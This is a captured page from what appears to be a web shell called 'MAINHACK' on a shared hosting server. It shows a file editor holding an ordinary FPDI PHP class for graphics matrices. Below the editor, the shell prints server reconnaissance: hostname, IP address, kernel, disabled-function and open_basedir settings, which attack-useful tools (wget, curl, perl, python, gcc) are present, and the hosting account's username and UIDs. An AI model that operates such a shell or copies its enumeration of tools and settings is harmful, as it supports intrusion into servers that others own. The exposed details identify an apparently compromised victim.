[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: GraphicsState.php
<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2023 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; use setasign\Fpdi\Math\Matrix; use setasign\Fpdi\Math\Vector; /** * A simple graphic state class which holds the current transformation matrix. */ class GraphicsState { /** * @var Matrix */ protected $ctm; /** * @param Matrix|null $ctm */ public function __construct(Matrix $ctm = null) { if ($ctm === null) { $ctm = new Matrix(); } $this->ctm = $ctm; } /** * @param Matrix $matrix * @return $this */ public function add(Matrix $matrix) { $this->ctm = $matrix->multiply($this->ctm); return $this; } /** * @param int|float $x * @param int|float $y * @param int|float $angle * @return $this */ public function rotate($x, $y, $angle) { if (abs($angle) < 1e-5) { return $this; } $angle = deg2rad($angle); $c = cos($angle); $s = sin($angle); $this->add(new Matrix($c, $s, -$s, $c, $x, $y)); return $this->translate(-$x, -$y); } /** * @param int|float $shiftX * @param int|float $shiftY * @return $this */ public function translate($shiftX, $shiftY) { return $this->add(new Matrix(1, 0, 0, 1, $shiftX, $shiftY)); } /** * @param int|float $scaleX * @param int|float $scaleY * @return $this */ public function scale($scaleX, $scaleY) { return $this->add(new Matrix($scaleX, 0, 0, $scaleY, 0, 0)); } /** * @param Vector $vector * @return Vector */ public function toUserSpace(Vector $vector) { return $vector->multiplyWithMatrix($this->ctm); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285